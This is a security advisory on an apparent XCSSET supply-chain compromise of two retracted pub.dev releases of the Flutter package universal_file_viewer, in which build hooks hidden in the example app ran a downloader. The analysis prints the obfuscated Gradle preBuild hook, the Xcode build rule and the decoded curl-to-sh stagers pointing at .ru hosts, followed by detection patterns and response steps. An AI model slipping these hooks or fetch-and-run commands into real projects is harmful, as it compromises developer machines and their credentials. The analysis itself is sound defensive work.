high

CVE

Not assigned

CWE

CWE-494, CWE-506, CWE-522

Affected Surface

  • pub.dev package `universal_file_viewer` versions `0.1.5` and `0.1.6`, both published on 2026-09-08 and now listed as retracted
  • macOS developer workstations that cloned the repository or unpacked the affected tarballs and built the example iOS or macOS app through Xcode
  • Android developer workstations, Flutter environments, and CI jobs that built the `example/android`, `example/ios`, or `example/macos` projects from `universal_file_viewer@0.1.5`
  • Internal mirrors, starter templates, or review workflows that keep full pub.dev tarballs instead of only the Dart library files they import
  • Engineering workstations later exposed to XCSSET persistence through infected Xcode projects or injected Git hooks

TL;DR

The Flutter package universal_file_viewer shipped two retracted pub.dev releases on 8 September 2026: 0.1.5 and 0.1.6. Aikido tied them to XCSSET. The releases were published from an already infected maintainer workstation.

The malicious code was not in the Dart library under lib/. It was in example/, inside the build files for the Android, iOS, and macOS sample apps.

  • 0.1.5 added an Android preBuild hook and an Xcode PBXBuildRule in both the iOS and macOS projects. Each one downloads a shell script from a .ru domain and pipes it into sh.
  • 0.1.6 removed the Android hook but kept both Xcode rules. It was a partial cleanup, not a fix.
  • 0.1.7 removed the Xcode rules and is the first clean release after 0.1.4.

A team that only added the package to pubspec.yaml and built its own Flutter app would not run these hooks. A developer, reviewer, or CI job that cloned the repository, unpacked the full tarball, or built the example app could. If that happened, treat the build host as potentially compromised and rotate the credentials it could reach.

Affected versions and timeline

pub.dev’s versions page and API show a short, same-day publish and rollback sequence. The GitHub commit for each release landed about three minutes before the pub.dev publish:

VersionGitHub commit (UTC)pub.dev publish (UTC)Registry statusWhat the source and archive show
0.1.4not listed2026-05-18T06:49:07Zstable, older clean releaselast clean release before the incident; no XCSSET build hooks
0.1.52026-09-08T10:42:03Z2026-09-08T10:44:57ZretractedAndroid, iOS, and macOS downloader hooks added
0.1.62026-09-08T11:42:46Z2026-09-08T11:45:54ZretractedAndroid hook removed; iOS and macOS hooks still present
0.1.72026-09-08T17:28:01Z2026-09-08T17:30:44Zstable, latestXcode build rules and related variables removed

Both the public commit history and a diff of the published tarballs show the same sequence. The registry did not host just one bad archive. It hosted a second retracted archive with part of the same infection still in it.

Technical analysis

The Android hook in 0.1.5

The clean 0.1.4 archive ends example/android/app/build.gradle.kts at the Flutter source declaration:

flutter {
    source = "../.."
}

In 0.1.5, the file gains a preBuild trigger:

tasks.all {
    if (name.contains("preBuild")) {
        doLast {
            ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f202224286375726c202d73666b4c202d2d636f6e6e6563742d74696d656f7574203330202d2d72657472792035202d642022703d616e64726f69645f6b6f746c696e222068747470733a2f2f35796f746d78636335346c397864612e72752f612922207c2073680a | p | sh ) >/dev/null 2>&1 &)").start()
        }
    }
}

The code rebuilds xxd at runtime with printf xAxd | tr -d A instead of naming the tool. That is basic obfuscation, but it defeats simple string matching on the tool name.

The hex blob decodes to a downloader stub:

echo "$(curl -sfkL --connect-timeout 30 --retry 5 -d "p=android_kotlin" https://5yotmxcc54l9xda[.]ru/a)" | sh

The Gradle project did not embed the full payload. It embedded a silent launcher that fetches shell from remote infrastructure and pipes it into sh. 0.1.5 also carried a stray build.gradle.kts.bak backup file that held a second malicious variant.

The Xcode build rules in 0.1.5

The iOS and macOS path matters more, because it lasted longer. 0.1.5 added a PBXBuildRule to both example/ios/Runner.xcodeproj/project.pbxproj and example/macos/Runner.xcodeproj/project.pbxproj. The rule matches *.md files, copies them into /tmp, and runs a build setting named A3EA261:

isa = PBXBuildRule;
compilerSpec = com.apple.compilers.proxy.script;
filePatterns = "*.md";
outputFiles = (
  "/tmp/${INPUT_FILE_BASE}",
);
script = "# This output is used by Xcode outputs to avoid re-running this script phase.\ncp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"
sh -c \"${A3EA261}\"";

The same commit added README.md to the Xcode resource graph. That gives the rule a predictable markdown input during builds, so the downloader runs even if no ordinary source file matches.

A3EA261 holds the real stager. In the iOS project it decodes to:

echo "$(curl --connect-timeout 26 -sLkf --retry 4 -d "p=xcode_rule" https://qdgs232i-q[.]ru/a)" | sh

In the macOS project it decodes to:

echo "$(curl --connect-timeout 26 -sLkf --retry 4 -d "p=xcode_rule" https://ejntin6hkjt7gj2[.]ru/a)" | sh

Both stagers follow the same pattern:

  1. Download a script from .ru infrastructure.
  2. Send a campaign or delivery marker, p=xcode_rule.
  3. Pipe the response straight into sh.
  4. Run in the background and discard output.

Why 0.1.6 was still not safe

0.1.6 is easy to misread if you only check the Android file. It removed the build.gradle.kts ProcessBuilder block and deleted the build.gradle.kts.bak file. Stopping there, you could conclude the package was clean.

The rest of the diff says otherwise. 0.1.6 kept both Xcode PBXBuildRule entries and the same A3EA261 stagers. Only the 0.1.7 security cleanup commit removed:

  • the PBXBuildRule entries
  • the malicious README.md resource wiring
  • the A3EA261 downloader definitions

This is why the retraction status matters. The author fixed the problem, but not in one step.

Why this lines up with XCSSET

Aikido attributed the contaminated project files to XCSSET. The code matches public analysis of that family.

Microsoft’s March 2025 analysis describes:

  • Xcode project infection through modified project.pbxproj files
  • layered xxd or base64 obfuscation around shell launchers
  • Git hook propagation across local repositories
  • Dock-based fake Launchpad persistence on macOS

Unit 42’s July write-up on XCSSET v40 describes a family that infects Xcode projects and Android build files, then re-triggers when a developer builds the poisoned project. That is the same execution path visible in the universal_file_viewer archives:

published package archive
  -> developer opens example project
  -> Gradle or Xcode build step runs
  -> curl downloader fetches second stage
  -> local workstation becomes the next propagation point

Microsoft’s analysis also shows this family does not stop at one project downloader. Once a developer machine is infected, it can keep seeding new repositories and build files until the workstation is cleaned. That fits what happened here. The maintainer published a release that looks like ordinary feature work in the changelog, while hidden project-file edits carried the real risk.

Where the real exposure boundary sits

This incident is narrower than the May and August registry worms, and than the Shai-Hulud and Miasma-style npm worms that fire during npm install. Here the library code is clean and the trigger sits in sample app files. That narrows who gets hit. It does not move the incident out of the supply-chain category. It changes where code runs:

dependency use only              -> lower risk
clone or unpack full archive     -> higher risk
build example app on macOS       -> highest risk
pubspec dependency only
-> package library code used
-> example project usually ignored
-> lower immediate risk

clone repo or unpack affected tarball
-> build example/android or example/ios or example/macos
-> malicious downloader runs on the builder host
-> host compromise path begins

If a Flutter app used universal_file_viewer as a library and never touched the sample app, the public evidence points to a clean execution path. The exported Dart library is the wrong place to look for the malicious logic.

The higher-risk paths are specific:

  • a maintainer or teammate cloning the GitHub repository and building the example app
  • a reviewer unpacking the full pub.dev tarball and testing the sample locally
  • CI jobs that build or lint the example iOS, macOS, or Android projects as part of release validation
  • internal demos, package evaluation, and developer reproduction workflows that build example apps
  • starter-template workflows that copy example/ into a new internal app

Many of these sit outside the “production dependency” assumptions that dependency scanners and reviewers rely on. Teams often inspect lib/ and pubspec.yaml closely and skip example/.

The narrower blast radius should shape the response, not lower its urgency. The systems most likely to run the payload are developer workstations and privileged build environments. Those are where Git credentials, Apple signing material, SSH keys, package tokens, and browser sessions tend to live.

IOCs

TypeIndicatorContext
Packageuniversal_file_viewer@0.1.5Retracted; Android, iOS, and macOS hooks
Packageuniversal_file_viewer@0.1.6Retracted; iOS and macOS hooks
URLhxxps://5yotmxcc54l9xda[.]ru/aAndroid preBuild stager, POST p=android_kotlin
URLhxxps://qdgs232i-q[.]ru/aiOS A3EA261 stager, POST p=xcode_rule
URLhxxps://ejntin6hkjt7gj2[.]ru/amacOS A3EA261 stager, POST p=xcode_rule
Fileexample/android/app/build.gradle.ktstasks.all preBuild ProcessBuilder block (0.1.5)
Fileexample/android/app/build.gradle.kts.bakBackup file with a second malicious variant (0.1.5)
Fileexample/ios/Runner.xcodeproj/project.pbxprojPBXBuildRule on *.md plus A3EA261 (0.1.5, 0.1.6)
Fileexample/macos/Runner.xcodeproj/project.pbxprojPBXBuildRule on *.md plus A3EA261 (0.1.5, 0.1.6)
Stringprintf xAxd | tr -d AObfuscated xxd call in the Android hook
StringA3EA261Xcode build setting holding the stager
Path/tmp/${INPUT_FILE_BASE}Output path of the malicious PBXBuildRule
Path~/Library/Caches/**/Launchpad.appFake Launchpad persistence described in XCSSET reporting

Detection and scoping

Search your code, package mirrors, clones, and extracted archives for the hook strings:

rg -n \
  'printf xAxd|PBXBuildRule|A3EA261|p=xcode_rule|5yotmxcc54l9xda|qdgs232i-q|ejntin6hkjt7gj2|/tmp/\$\{INPUT_FILE_BASE\}' \
  universal_file_viewer . ~/src ~/work 2>/dev/null

If your organization mirrors or caches full pub.dev tarballs, check whether the retracted versions were ever downloaded:

rg -n 'universal_file_viewer-0\.1\.(5|6)\.tar\.gz|universal_file_viewer@0\.1\.(5|6)' \
  ~/.pub-cache .ci .github scripts /var/cache 2>/dev/null

On macOS hosts that may have built the example app, hunt for the XCSSET follow-on patterns in Git hooks, Xcode projects, and persistence locations:

find ~/.git/hooks -type f -name pre-commit -print0 | \
  xargs -0 rg -n 'base64 --decode|xxd -p -r' 2>/dev/null
rg -n "base64 --decode \\| base64 --decode|xxd -p -r" ~/.git/hooks "$HOME" 2>/dev/null
rg -n 'PBXBuildRule|A3EA261|printf bdase64|printf xxVd' \
  ~/src ~/work --glob 'project.pbxproj' 2>/dev/null
find ~/Library/Caches -maxdepth 3 -name 'Launchpad.app' 2>/dev/null

The first two searches identify the bad releases and where they landed. The macOS checks answer the more important question: did a build trigger broader host compromise? None of these prove a host is clean. They do quickly separate “we consumed the library” from “we ran the poisoned example build.”

Response guidance

If a developer or runner built the affected example project, this is not a simple package rollback.

  1. If a workstation or CI host built the example app from either retracted version, treat that machine as potentially compromised.
  2. Remove universal_file_viewer 0.1.5 and 0.1.6 from internal mirrors, developer package caches, and reviewed package sets.
  3. Re-clone the repository from a known-clean state. Pin back to 0.1.4 while you validate 0.1.7, and move to 0.1.7 or later only after confirming your pipeline does not keep old tarballs pinned elsewhere.
  4. Inspect local Git hooks, Xcode project files, and fake Launchpad artifacts on macOS.
  5. Rotate GitHub, SSH, cloud, signing, and registry credentials reachable from any host or CI job that ran the example build.
  6. Search internal repositories and starter templates for copied project.pbxproj and build.gradle.kts files that contain the same stagers.

The lesson is not that Flutter or pub.dev now has “a malware problem” in the abstract. It is that registry compromises do not always sit in the runtime library path. Package consumers, maintainers, and AppSec teams still focus on lib/ and trust build metadata, project files, and examples. Here the dangerous code was not in the advertised API at all. It sat in the sample project, waiting for a maintainer, reviewer, or CI job to do something ordinary: build the example.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References